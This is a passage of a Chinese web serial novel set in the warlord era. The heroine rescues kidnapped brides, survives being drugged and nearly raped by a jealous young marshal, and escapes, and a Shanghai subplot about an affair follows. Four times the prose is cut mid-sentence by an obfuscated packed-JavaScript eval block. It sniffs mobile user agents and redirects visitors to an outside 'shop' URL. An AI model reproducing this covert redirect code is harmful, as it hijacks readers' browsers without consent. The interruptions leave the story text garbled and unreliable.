寻着声音而去,水影见到了一个巨大的铁笼。 笼子里面关着的,正是那五位失踪的少女。 她们穿着嫁衣,正缩成一团,头发乱糟糟的,脸上也脏兮兮的,分不清是眼泪还是弄花的胭脂,身上沾满了血迹,狼狈不堪。 “你是谁?”最前面的女子大着胆子问,“是来救我们的吗?” 水影一眼就认出眼前之人正是城东王老太的孙女王秀娥。 “你们别害怕,我来救你们,马上就会有士兵来了!”她柔声安慰她们。 “你说真的?”另一位少女抹了把眼泪,说。 “当然是真的!” 水影上前几步,将火把插在一边。 这铁笼上面有一把玄铁锁,她使劲拉了一下,没打开。 “没有用的,眠空说这是暗夜组织特制的冰山玄铁所制,如果没有钥匙,是怎么也打不开的。”王秀娥本来燃起的希望又渐渐熄灭,端庄秀丽的眸子写满了失望,如一汪结冰的湖水。 “怎么办,我们是不是永远也出不去了,我好想我的阿爸阿妈!”一少女啜泣道,“我想出去!放我出去!” 她无助地靠着铁笼,滑了下去。 “眠空说要把我们培养成黑寡妇,还说我们已经把灵魂出卖给魔鬼,如果我们不听他的话,他就要告发我们!” “我好恨,好恨这个不公的世道!为什么生为女子,我们的命运就如浮萍一般为人所摆布?到底是谁说出未嫁从父,出嫁从夫,夫死从子这种鬼话?!为什么我们的一生都要活在男人的阴影下,而不能活成我们自己!”王秀娥将头埋在手臂里,坐成了一团,眼中却充满了愤恨。 明明是为了挣脱牢笼,找寻自由,谁曾想却落入了另一个牢笼…… 王秀娥的脸色十分苍白,眠空给她吃了打胎药,让她气血不足。 水影叹了口气,“可是,那些小丫鬟的命就不是命了吗?你们用那么残忍的方式将她们杀死,可曾想过她们也有亲人,也是爹娘生养的?” “你已经知道了?”王秀娥有些惊讶,她摇了摇头,“我们也是被逼无奈,没有办法。” “经过验尸和推理,我知道凶手就是你们,”水影垂下眸子,说:“我同情你们的遭遇,却不认同你们的做法。可是我只觉得悲哀,如果我们换一个位置,我是你们的话,也不想眼睁睁地看着自己跳入火坑,嫁给那些可怖的夫婿。” 一尖脸女子沉声说:“生为女子,本就悲哀。旧时的女子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986614|122837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不光要裹小脚,我还听说某些地方有一种‘小姐床’,那床很大,可女子出嫁之前都不能下这张床,意喻着女子贞洁听话,可是,这难道不是坐牢吗?我真的想象不出,衣食住行都在一张床上,对人是何等摧残!” “要怪就怪这个时代吧,硬生生地把人变成了鬼!”另一少女叹息道,“你们说几十年,或者是一百年之后,后世的女子还会像我们这样吗?” “我希望,那是一个崭新的时代。”水影握紧了拳头,只是说。 …… 突然,少女们的眼中闪过一丝惧色。 水影感觉到后颈有一道力量劈过来,迅速地低头,动作灵敏,那人似是吃了一惊,没想到水影能躲过。 “你以为,同样的错误,我还会犯第二遍吗?” 沉船那次是毫无防备才让船长有可乘之机,现下水影虽与小姐们说话,却屏气凝神,不放过一丝风吹草动。 她反应极快,一把抓住那人的胳膊,向前一拽,那人受力不稳,向前倾去,水影抓住他的衣领,朝他的脸重重打了一拳。 “这一拳是打你囚禁少女,让人误入歧途!” 还没等眠空反应过来,她毫不犹豫,再来一拳。 “这一拳是打你加入暗夜组织,害死一船人性命!” “你怎知……”那人两眼乌青,成了熊猫眼,还没从惊讶中回过神,水影将他按倒在地,动作行云流水。 又给了他一拳。 “这一拳是打你杀死方丈,罪不可恕!” 用大腿按着他的脖颈,那人动弹不得,被水影死死地控在地上,吐出了一口鲜血。 “我今天就是告诉你,我们女人不是好欺负的!”水影声音冷冽,气场强大。 女孩们均是瞪大了眸子,心情激动不已。 “你到底是谁?怎么知道海上沉船是我做的?”那人不死心地问。 水影手上的力气更大了,压得那人胸膛憋不过气。 她冷冷道:“我是谁你不需要知道,你只需知道,自己就要滚去坐牢了!你和你的组织既然从地狱里面来,臭名昭著,就再回到那里去吧,有我在,不会再让你们危害人间!” 那人却突然笑了,笑声凄厉,回荡在山洞中,如阴森的钩子。 “你以为你们还出得去吗?你运气不好,转动仙桃的时候向左,已经启动了断龙石,外面的人进不来,你们也出不去!既然要死,那就一起吧!” 那人突然咬破了嘴里的毒药,水影见状,立马阻止他自尽,却迟了一步,那人脖子一歪,归西了。 可恶! “女侠,他……他说的是真的吗?”女孩子们抓住囚笼的栏杆,急切地说,脸上写满了无助。 水影冷哼一声,“我才不信他的鬼话呢,这地方错综复杂,难道就只有一个出入口?狡兔还有三窟呢。” 女孩们这才冷静下来。 水影松手,从他身上摸到了钥匙,将女孩们放了出来,她们连连感谢。水影又组织她们搜寻山洞,看有没有另外的出口。 100. 万劫不复 一刻钟后。 “这里好像有机关!”王秀娥惊喜道, 可她很快就皱起了眉,上面有一些密密麻麻的图案,还有英文字母,实在是让她不说所措。她家还算开明,虽有幸念了几年书,却从没接触过英文。 水影和其他女孩们也围拢过来。 只见上面有几道英文谜题,下面有五十多种图案,水影心想,一定是解开谜语,再依次按下对应的图案就行。 这四道谜题是这样的: “Whatisdeafanddumbbutalwaystellsthetruth?”(什么是聋哑的,但是却总是告诉我们真相?) 水影思索了一下,按下镜子。 “Whatisfullwhenit‘susedandemptywhenit’satrest?”(什么东西在使用它的时候是满的,在它休息的时候是空的?) “翻译给我们听听,看我们能不能出一份力?”尖脸女孩提议道。 水影翻译给她们听,个子小的女孩抢先说:“那不是鞋子吗?” “有道理。”水影点了一下鞋子的图案。 “Whencanyougetwaterwith?”(什么时候你可以用网得到水呢?) “这个简单,选冰块就行。”她点了一下。 最后一题却有些难度了。 “IamnotalivebutIgrow.Idon''thavelungsbutIneedair.”(我没有生命,但我在成长。我没有肺,但我需要空气。) 众人陷入了沉思。 “是不是小草啊?”娇小的女生问。 水影摇头,“小草是植物,有生命的。” 王秀娥说要不从下面的图案来看,用倒推法,看是否有东西能够对应上去。 话音刚落,就见石块上有隐隐的红光闪过。 “糟糕,应该是计时器,闪动十下后,难道会塌方?” 女孩们不禁抱成一团,瑟瑟发抖,水影的心脏扑通直跳。她突然就想到了炎曜,如果自己殒命在此,是不是这辈子就再也见不到他了…… 炎曜…… 炎…… 水影闭上眼,似乎福至心灵,她蓦然睁眼,心想,“火”不就是答案嘛! 就在千钧一发之际,按下了火的图案。 红点停住,四周静悄悄的,从顶部开了个洞,漏入了希望的光亮,雪花从那处落了进来,带来寒冷的空气。 答对了! 大家喜上眉梢,这快乐早已将寒冷融化,刚想着爬上去,却听见“砰”的一声,远处似乎有爆炸的声音。 灰尘纷纷扬扬,李皖带一队人马从山洞的另一侧赶来。 原来水影离开时喊了一声已经引起了士兵的注意,只是他们到一百号罗汉像附近时却没看到水影的踪迹,赶忙报告给李皖。李皖来不及想别的,让士兵准备炸药,直接炸了那处底座,从那里强攻过来,终于找到了水影她们。 “你还好吗?”李皖看到水影平安无事,终于松了一口气,又看到她身后的女孩子们,已经猜出了大概。 水影点头,“我很好,只是眠空已经服毒自尽,没留下其他。” “只要你安全就行,走,我们回督军府。”李皖拉着她的手,吩咐带队的老刘,“将这些小姐们押回巡捕房,容后再审。” …… 在回去的汽车上,水影问李皖,“你准备怎么对待她们?” 李皖将军帽取下,露出浓黑的头发,他扒拉了一下头发。 “死罪可免,活罪难逃。”只是淡淡吐出这八个字。 水影叹了口气,美眸一凝,“我希望你能考虑一下,她们虽然不无辜,却是被有心之人蛊惑的,还请你深思熟虑之后再决定。” “我知道。”李皖从后座递给她一瓶水,“喝口水吧,回去休息一下,我晚上还要和父帅开一个军事布防会议,不能陪你。” “你去忙吧,我一个人可以的。”水影舔了舔有些干涸的嘴唇,喝了一口水。 李皖突然握住她的手,声音有些抑制不住的喜悦。 “影儿,明天就是我们成亲的日子了。你知道我等这一天多久了吗?” 水影看着他欣然的眸子,只是微微一笑,又看向了二人交握的手,陷入了沉思。 心中突然涌起一丝愧疚。 时间已经快到晚上七点半。 离哨兵换岗还有最后半个小时。 今天虽然过程惊险,到底是完成了任务,还在八点之前赶了回来。如果顺利的话,偷走信,她就能离开了。只是她想象不到,若是李皖发现她跑了,会做出怎样疯狂的事。 现在的他已经和以前大相径庭,有时从他的眸子里,水影甚至看到了嗜血和阴冷。 她没忘记两天前的事。 从督军府抓到了一个敌军暗线,李皖毫不犹豫地当着众人的面切掉了他的命根子,在那人的痛叫中一枪爆头,还将他大卸八块,头颅悬挂在城墙上。 那头颅到现在还睁着眼,触目惊心。 那时,水影看到他后背起伏,戾气深重地坐在庭院内,望着那一滩血出神,她只是默默地走近,将手搭在了他的肩上。 他似乎全身在战栗,大口大口地呼吸着,转过头,眼神还带着狠厉。 看到是水影,才稍稍安定了下来。 水影扯开了一抹笑,柔声说:“我知道少帅能坐到今天这个位置,必定付出了许多,影儿也看在眼里,只是少帅胸怀天下,应当是百姓的典范,还请少帅如非必要,不要下如此狠手来杀人,也算是为子孙积功德了。” 他只是“嗯”了一声,也不知有没有听进去。 …… 压抑住心中的不安,水影默默地回到了厢房之内。 碧玉已经等了半天,见水影回来,忙说终于等到她了。 她告诉水影,自己已经将书房的卫兵引走,又和水影互换了衣服。水影承诺过碧玉,到时候李皖发现了,就说一切都是她逼的,将一切怒火引到她头上。 “还有最后一步,打晕我。”碧玉自觉地转身,将脖颈留给水影。 水影一掌劈了下去,碧玉缓缓地倒在了她的脚边…… *** 水影心脏砰砰直跳,趁无人把守之际溜入了书房。她的计划是拿到书信就往山上去,和炎曜会和,二人一同离开。 书房十分雅致,外面有修竹香草,窗边斜摆一个书桌,中间放了香炉盆景,侧边还有一张塌。旁边柜子上还有许多书籍。她翻了一下桌上的文件,又转身往书柜上寻觅。 终于看见一本《孙子兵法》,里面似乎夹着一个信封。 打开书,信封上写着敬则兄亲启,落款是炎白钰。 就是这封! 水影拿出信封,却发现里面竟是空的,并没有信…… 糟糕…… 身后突然出现一道阴冷的声音:“你是在找这个吗?” 水影蓦然转身,只见李皖就站在她门口,他的手中,正举着一封泛黄的信笺。 从未见过如此冰冷的表情,薄唇紧闭,眼睛不带一丝感情,他明明看着水影,却像在看一个陌生人,甚至是……自己的终生之敌。 “敬则兄:展信悦,弟白钰心忧兄之大事,诚惶诚恐,愿尽弟之所能,助兄脱困……”李皖拿着信,一字一句地,不带一丝起伏地念着。 水影的眸子也越来越深沉,就像一汪暗潮汹涌的河水。 念完后,李皖还不忘嘲讽,“这信写得真好,感情真挚,真是让人动容,连沪上银行八十六号保险柜都指出来了,算不算是自投罗网?啧啧啧,真是可惜了。”顿了一下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986615|122837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又道:“可惜啊,这信是写给刘敬则的,他可是大名鼎鼎的革命党核心人物,炎白钰这次资助的可是二十万银元,你说这些钱财,真的能物尽其用吗?” 水影没有回答,只是说:“你到底要做什么?” “不是我要做什么,而是你要做什么。这督军府谁不知道,我平生最恨背叛者!”李皖咬牙切齿道,他将信递给自己最信任的副官,要他送到秘密的地方保管,副官恭敬地接过,关上房门。 书房静悄悄的,只剩他们两个人,水影甚至觉得,连他们的呼吸声都能听到。 “所以你刚才说开会也是骗我的?事已至此,我无话可说。”水影的身体绷得笔直,“要杀要剐,悉听尊便。” 她突然头很晕,脚下一趔趄,靠着书桌才没倒下。 “你刚才给我的水有迷药?” 只不过药效现在才发作。 “这是我们成亲前的最后一晚,我不想出什么幺蛾子。” 李皖的呼吸变得很急促,突然大步走向她,一把抓住她的手腕,力气大的让人心惊,“我将你当做心中至宝,可在你心中,我到底算是什么?” 两人的距离很近,李皖死死地盯住她,眼中布满血丝,像结成的细密蛛网。 “说!这些天,你是不是都在演戏!”手上的力气越来越大。 “你放开我!” 水影觉得自己的手腕都要断了,她只觉得身上软绵绵的,使不上力气,却还是用力扯开他的桎梏,李皖却越抓越紧,似乎气得失去了理智。 “要我放开,下辈子吧!” 他把水影一抓,横抱着,几乎是丢小鸡式地丢到了床上。 水影在床上打了个滚,眼冒金星,却见李皖将披风随意丢在地上,身体已经覆了上来。她心中似乎知道他要干什么,突然拼尽力气爬起来,猛地推了他一下,就往门口跑去。 头发却被人抓住,再度被拽到床上。 “他永远都不会这样对我!”水影忍着巨痛,开始口不择言。 “那又怎样!”李皖双目猩红,一把撕开水影的前襟,大片白花花的肩颈就现了出来,“别跟我提他,你是我的!” 说着脸就要埋下来。 “你无耻!”水影一手捂着胸前,一只手甩了他一巴掌。 “啪”的一声,李皖的脸上浮现了五个手指印。 这嘴巴子似乎将他的怒气激到了顶点。 他压到水影的身上,恨不得撕碎她的衣服,胡乱地亲着她的脖子,又逐渐下移,刚冒出的青色胡茬刮得水影生疼。 她起先反抗,可是突然却不动了,像一条濒临死亡的淡水鱼,又像一只残破的洋娃娃。 李皖停止动作,抬头望向她的脸。泪水从她美丽的眼睛里流了出来,顺着眼角,落到了枕单上,那眼睛似乎很哀怨,甚至有种哀莫大于心死的感觉。 突然就想起自己的母亲,这样无助的眼神,和独守空房又落寞而死的母亲何其相似。 “你给我好好待着,一步也不许出去。” 他似乎用尽所有力气捶了几下床,从她身上下来。 拿起地上的披风,拂了下灰尘,冷淡道:“算了,反正明天你就是我的妻子了,那时再洞房也不迟。” 房门重重地关上,落下一室的压抑。 也不知过了多久,水影突然哭出声来,她双手捂着眼睛,一抽一抽的,甚至停不下来。 第一次这么害怕,这么恐惧,就像被一片无边的黑暗给吞噬,连动的力气都没有了。 这是一种前所未有的感觉。 炎曜,你在哪里?怎么还不来? 水影从没像此刻一样思念炎曜,她觉得自己真的撑不下去了。 她太累了。 眼皮只觉得越来越沉,就像被一汪海水吞没,而她在狂风骤雨里握着浮木,不知何时就会万劫不复。 101. 越人之歌 成亲当日。 水影一大早就被蓝心和碧玉叫醒,她昨晚哭着哭着就在药效的作用下睡着了,眼睛肿的很厉害,像两片鼓起的桃花瓣。 此刻的她,像一个机器人一般任人摆布,她们为她换上精致绝伦的嫁衣,为她戴上价值连城的珠宝,再为她擦上胭脂水粉…… 水影只觉得大脑一片空白,心里只有一个疑问,那就是她们什么时候弄完? 盖上盖头后,几乎是被两个丫鬟架着走出了书房。 四周锣鼓喧天,一派喜气洋洋的景象。可她很讨厌这个红盖头,只觉得自己像是一个待拆的礼物。 水影感觉周围有很多人,他们都在注视着自己。她走上了一条长长的红毯,有人在旁边撒花瓣,说些祝福的辞藻,那红毯像是没有尽头一般,终于,她看到盖头外有一双皮鞋,那皮鞋很亮,是上好的意大利手工皮鞋。 “吉时已到,拜堂了!”喜婆大喇喇地说。 “一拜天地!”水影像个木偶般地弯腰。 “二拜高堂!”前面是自己的父母吗?水影不知道,只是机械地弯腰。 “夫妻对拜!” 水影咬了咬嘴唇,只觉得自己在做梦,这一切都是真实的吗,还是全是她的想象? 她该认命吗? ……也许吧。 深深地吸了一口气,慢慢地,一点一点地低下了头。 “等一下!” 一个熟悉的声音出现在身后。 那嗓音很有磁性,带着抚慰人心的力量。 水影一把掀起盖头,只见炎曜从大门走了进来,他一身黑色的夹克长裤,个子很高,好像清瘦了些,显得面容更加深邃俊朗。 只有他一个人。 从炎曜一进门,二人的目光就好像黏在了一起,明明有千言万语要说,却又好像什么都不必说,只要一个眼神就都明白了。 “傻瓜,你来干什么?”水影的眼中氤氲着雾气,像集满雨滴的云朵一般。 “影影,我来接你回家。”炎曜的声音从来没有这么柔和,他张开双臂,眼中带着淡淡的温柔。 “可是,你会死的。”水影喃喃道。 炎曜琥珀色的眸子闪了一下,“我都不怕,你怕什么?”顿了顿,又说:“你相信我吗?” 水影下意识地扔了盖头,几步便落入了炎曜的怀抱。 她紧紧地抱住他,将头埋在他的胸膛,似要从他那里汲取所有的温度。此刻的水影甚至在想,就算他们今天都死在这里,她也会眼睛都不眨一下。 水影说:“我自然相信!你不怕,我也不怕,只要和你在一起,我就什么都不害怕了。” 她紧紧地抓住他的手,炎曜点头,似是笑了。 “好,我们回家。”水影坚定道。 李皖看着落在脚边的红盖头,又望向了二人紧紧牵住的手,突然拿着枪,指着他们,咬牙道:“你们是不是太不把我督军府放在眼里了。” 李寻山也怒极,一拍桌子,从椅子上弹了起来,“他奶奶的球,你们搞邪了,太不像话了!” 水影这才注意到,椅子旁边并没有自己的父母,看样子炎曜已经将父母救了出去。 这时,层层叠叠的军官围了上来,黑洞洞的枪口指着水影和炎曜。 李寻山哼了一声,“你们以为今天能活着从我这里走出去?别做梦了。既然不想活了,那我就送你们上路!” “父帅,等一下。”李皖放下手枪,突然走近了一步,压低声音,道:“你们不想活了,难道要整个炎家陪葬吗?我若将信上报,等北洋政府的长官看到了,你们炎家一个也跑不了!” 他从胸膛吐出一口气,似乎想给水影最后一个机会,他伸出一只手去抓水影,水影却默默地后退了一步。 “少帅说的什么信?”炎曜挡在水影身前,只是抬起下巴,问李皖。 “装傻是吧?我这就叫你死个明白。”李皖向副官使了一个眼色,副官点头,跑步去取,不一会儿就将信拿出,恭敬地递给李皖。 他将信拿在手中,道:“你父亲炎白钰私通革命党,罪行昭昭,还想狡辩吗?” 炎曜却淡然自若,从裤兜里掏出另一封信,说:“这是段总理亲笔手书,炎家已经将此事告知总理,这件事从头到尾就是一个误会。段总理也是出自皖系,和李督军有同门之谊吧。” 李皖双眼木然睁大,他怎么也想不到,事情竟会这样。 接过信,只觉得心里空了一大块。 李寻山见李皖失态的样子,从儿子手里拿过信,入目便是段家的公章。 “那银行的八十六号保险柜呢?如果派人去查银行流水,你们逃得过吗?”李皖有些气急败坏,脸色煞白。 炎曜淡淡一笑,“你们尽管去查,我炎家行得正坐得直,何惧小人空口白牙地诬赖?”特意加重“小人”两个字。 水影看着炎曜强大而自信的样子,心想,这些天他一定做好了万全的准备。 …… 事实也正如水影所想。 炎曜的想法是,与其坐以待毙,还不如主动出击。他先让父亲主动联系北洋政府高层,上下打点,阐明其中的误会,理由是炎曜和督军李寻山之子为了心悦的女子而争风吃醋,李家有一封信,可那信却是伪造的,要构陷炎家。事情就算闹到了总理那,也不过就是儿女私情,无伤大雅。 段总理很明白李寻山的为人,知他不择手段,又宠溺儿子,能做出这种事也不稀奇。 况且李寻山以前为了排除异己,没少做过这种构陷他人清白之事。 炎曜从父亲那里得知,他每次与别人联络都很小心,并没有自己书写,而是找秘密的信得过的人代写,所以从字迹上根本看不出来。在炎曜的提醒下,炎白钰已经将他们所有的联络地点都换了,而且以前的银行取款也是刘敬则用八竿子打不着的化名取的,自然查不到他的头上。 看着段总理的亲笔手书,李寻山嘴唇动了动,扶额道:“老子真是……”他本想说阴沟里翻了船,却没说出口,只是摆摆手,指了指炎曜,道:“炎家小子,算你狠。” 眼看着父帅态度松动,似是要放了他们,李皖有些着急,他大声说:“可我和水影已经拜堂,她已经是我的妻子了。” “少帅何出此言?你们还没完成第三拜呢。”炎曜不动声色地搂过水影,沉声道:“我不过与未婚妻子吵了几句嘴,她便气不过离家出走,为了气我,不惜以和少帅成亲作为由头,逼我现身,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13006531|122837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 督军一家实在是叨扰了,炎某万分抱歉,以后一定约束家眷,不让内人做出这种贻笑大方之事。” 见李寻山脸色依旧不好,炎曜又说:“对于给李家造成的麻烦,炎家深表歉意,父亲说愿意送给李家一座西北的金矿当做赔罪,还请李督军笑纳。如果督军同意,就请签了这转让合同。” 炎曜此刻像是继承了父亲的八面玲珑。李寻山暗自思量,这件事本就是他们强抢对方未婚妻在先,作为督军生那么大气也是觉得面子上过不去。乱世之中,天下最终是谁的还未可知,大家都不是傻子,谁都不会不让自己多条后路。这炎家小子没把话说绝,也保全了李家的面子,还愿意出一座金矿,这笔买卖,着实不亏。 他拿过合同,龙飞凤舞地签上字,说:“既然是个误会,你们走吧,我们两家也算是两清了。” “父帅!”李皖难以置信道。 “你这孩子怎么拎不清呢?让他们走!”李寻山强调道。 见水影和炎曜相携而去,宛如一对璧人。李皖的心中突然爬上了一条吐着信子的毒蛇,一个声音对他说,不能让她走,她一旦出了这个门,就再也不会回来了。 这一切都是因为炎曜! 如果没有他,一切,是不是会不一样?! 一想到此,李皖鬼使神差地拔出手枪,对上了炎曜的心脏。 扣动扳机。 “炎大哥,小心!” 一道女声突然从身后传来,像慢镜头一般,灵鸢张开手臂挡在炎曜的身后,子弹射入了她的脑袋,血花四溅。 电光火石之间,灵鸢缓缓地倒下,美眸透着一股坚定的力量。 炎曜霎时转身,灵鸢就这样,倒在了他的怀里。 “七姨太!”李寻山也大喊着奔过来。 灵鸢的脸上全是血,嘴角却露出了一丝温柔的微笑。 “你救过我一次,这次,就当偿还了……”突然因为痛极而皱眉,似乎用尽最后的力气想把炎曜推开,对他说:“快走啊,你快……走……”说完便撒手,永远地闭上了眼睛。 她去的很安详,因为终于遂了心意,全了自己少女时代的那个遥不可及的梦。 那时的他,虽然面容冷酷,神情冷峻,却实实在在地帮她打跑了欺侮爷爷和她的坏人。对于饱尝过世间冷暖的她来说,就像是上天派来拯救她的大英雄。 只可惜和其他英雄救美的故事不一样,这大英雄到底不属于自己。 可是那又如何? 只要他幸福,那就够了。 脑中似是响起了以前卖唱时,她经常弹奏的一首《越人歌》。 “今夕何夕兮搴洲中流,今日何日兮得与王子同舟。” “蒙羞被好兮不訾诟耻,心几烦而不绝兮得知王子。” “山有木兮木有枝,心悦君兮君不知。” …… “老大,水小姐,快走啊!” 一辆黑色的轿车停在督军府前,轮子卷起灰尘扬起。 是杰克! 炎曜痛惜地放下灵鸢,和水影飞身钻入了汽车。 轿车绝尘而去。 只留下人仰马翻的督军府,在寂静的皖山下,红红火火地哭泣着。 (本卷完) 102. 灯红酒绿 一个月后,上海滩。 今夜是除夕,鞭炮声不绝于耳,富人权贵们的公馆布置得喜气洋洋,而穷人们却不得不做工,赶进度,生怕被克扣工资。 最近工厂出了一件事,一个女工因为工作时间过长而猝死了,她的家人组织了一些亲戚过来闹,这件事说大不大,说小也不小,毕竟是一条人命,厂长对于处理这种事情已经驾轻就熟了,他们闹归闹,总不可能冲进去砸他的设备吧,如果他们真的如此冲动,大不了就报警,把这些刁民都抓到局子里去,看他们老不老实。 如果他们一直在门口示威,厂长也不怕,反正他一口咬死了,就赔这么多,爱要不要,要是再闹过分了,他大可以说这个女工自己身体有毛病,才工作一下下就不行了,要怪就怪她命不好,怎么也怪不到他的头上。 厂长从工厂后门出来,上了轿车,不一会儿就开到了一个酒楼,这酒楼在闹市区,里面的招牌是海鲜,这些海鲜可是贵东西,从国外空运过来的,稀奇得很,坐在主座的男人西装革履,神采奕奕,他似乎心情很好,别人给他敬酒他也来者不拒,吃完饭大家又约着打牌,男人摆摆手说不去了,还有事。 “什么事?难不成是回家陪老婆吗?”厂长打趣道。 “男人嘛,有些事情就不要明说了,要是我老婆打电话过来查岗……” 在座的都心领神会,说他艳福不浅,真是羡煞旁人啊。 厂长笑吟吟地说:“知道了知道了,老兄大可放心,要是嫂子查岗,我们就说还在打牌,有大生意要谈!” 男人满意地点点头,离开了包间。司机早已经等候在外面,给他披上了一身黑色的大衣,男人压低帽檐,隐入了车内,对司机说,还是去老地方。 车子在蜿蜒的巷子里行驶,男人有点闷,也许是喝了酒,便拉了拉领带,方便透气,一想到等下要见的佳人,心里像蚂蚁爬了似的,竟像年轻的小伙子一般,有些急不可耐,虽然事实上,他早已经不年轻了。 这里是一处老式旅馆,并不起眼,顺着楼梯往上走,只听见皮鞋踩着木板吱吱呀呀的声音,走廊很暗,只有一盏昏黄的灯挂在惨白的房梁上。 终于到了一扇门前,男人从口袋掏出钥匙,心里越来越紧张,连手心都起了细密的汗,终于转动钥匙,开了门。 虽然以前也来过,可今天毕竟是跨年,一般这时都是在家里和老婆孩子一起,当一个合格的丈夫和父亲,这次却像鬼使神差一样,迫切地想换个过法。也许追求刺激就是隐藏在人心里最深处的渴望吧。 不知怎的,心里突然有种不详的预感,没来由的,也不知为什么。 浴室里有水声,男人咽了一口口水,将黑色大衣脱下挂在衣架上,便进了浴室。 女郎正在洗澡,见有人进来,警觉地瞄了他一眼,看到男人,便背过身去,男人却被这雪白柔嫩的胴体给迷了眼,一双眼睛好像黏在了上面。 她背着他,将头发高高地盘起,只留下一个冷艳的侧脸。 “出去,我还没弄好。”女郎嘴里蹦出几个字,好像在赶客。 男人有些吃瘪,他总觉得,虽然他们已经是这种关系了,可是女郎却对他并不热络,好像一个高贵的女王,叫他往东就往东,叫他往西就往西,可奇怪的是,他却很吃这一套吗,甚至有些喜欢她这么对他。 毕竟在外人看来,他的身份高高在上,没有人敢不听他的,那些有身份的人为了贷款,甚至要巴结他。可是在她这里却不一样,她总是没有正眼瞧他,就是这种不在意和疏离,反而让他起了征服的欲望。 有时也会在宴会上见到她,他们就像陌生人一样,最多只是点头之交,任谁也猜不出他们的关系,甚至连他自己也怀疑,他们的关系是不是错觉,那些疯狂的日夜是不是他幻想出来的。 只有她经过他时,将小拇指不经意地碰到他的,才让他反应过来,这一切不是错觉,他们除了点头之交,还有另外一层旖旎而不可说的关系。 正胡思乱想着,水声停了,女郎披着浴袍出来了,她的头发披散下来,虽然擦得半干,却仍在滴水,顺着她美丽的锁骨落下来,滴到了擦着红色指甲油的脚趾上…… 男人眯着眼,静静地欣赏着眼前的佳人,好像在欣赏一幅绚丽的油画。 女郎缓缓地走近他,突然抓住他的领带,从上往下一瞧,最后目光锁到了他的眼睛上。 就像看着一只猎物。 逃不出自己手掌心的猎物。 男人像枯木逢春一般,突然将女郎压在身下,丢了眼镜,一会儿,只听见木床剧烈晃动的声音…… 一番云雨后,男人呼呼大睡,女郎却坐了起来,披上了衣服。 她冷艳的眸子睨了他一眼,突然起身,去摸衣架上的大衣和裤子。裤子里好像有东西,女郎拿了出来,又从床头柜里拿出微型摄像机,拍摄了里面的内容。 …… 酒楼包间里,男人们仍在打牌,气氛十分热烈。 “要倒数了吗?”一人抽着烟,笑道。 “是啊是啊。” 厂长嘴里斜叼着烟,拿起麻将,用大指摩挲了一下牌面,“哈,红中赖子杠!” “给钱给钱,我可不管什么倒数不到数的。” “倒数还是要的,仪式感嘛……” “三、二、一……” 一声新年快乐还没说出口,电话声就不合时宜地响了起来,催命似的。 “谁啊,真扫兴。” 厂长骂骂咧咧的,接起了电话,待听清楚那人的声音,警铃大作。 那边有鞭炮声,女人的声音却很清晰,“我家老公呢,要他接电话,家里小孩子要找爸爸了,哭闹个不停。” 她一向是直爽泼辣的人,也不绕弯子,很直接地说出了诉求。 “嫂子,他刚去……刚去上厕所了,你就先睡觉吧,其他的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13022172|122837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明天再说。”厂长和在座的其他人对视了一眼,皆是心里发毛。 得,美人乡是别人来享,催命符却要他来应。 厂长在自己家,那是说一不二的,媳妇儿从乡下来的,老实本分,给他带孩子照顾大后方,就算他在外面拈花惹草也不敢多问,可是这位却不一样,男人刚来上海滩时,还只是一个一穷二白的小子,在洋行里谋了一份伙计的工作,给人端茶倒水,后来不知怎的攀上了这位千金,才有了现在的财富地位。 可以说,如果不是倚靠这位千金家的权势,男人不可能有如今的成就。只可惜美人迟暮,两人如今已是老夫老妻了,男人就这样才有了别的心思。 “小赤佬,侬是不是帮着他瞒着我什么,当我傻子还是冤大头?”女人似乎察觉了什么,连上海话都冒出来了,“侬家的工厂可是跟我娘家签订了长期供货合同,我爸爸是老了,可不是死了,作为他最中意的女儿,我的话他还是要听的。我大可以跟他说撕毁合同,再找个精明的律师只陪个三瓜两枣给你,到时候你的小破纺织厂就等着倒闭吧!” 厂长吓得汗都留下来了,女人此言不虚,可是男人手里捏着他的贷款,那也是件大事! 这下两边都不能得罪,真是难为死他了。 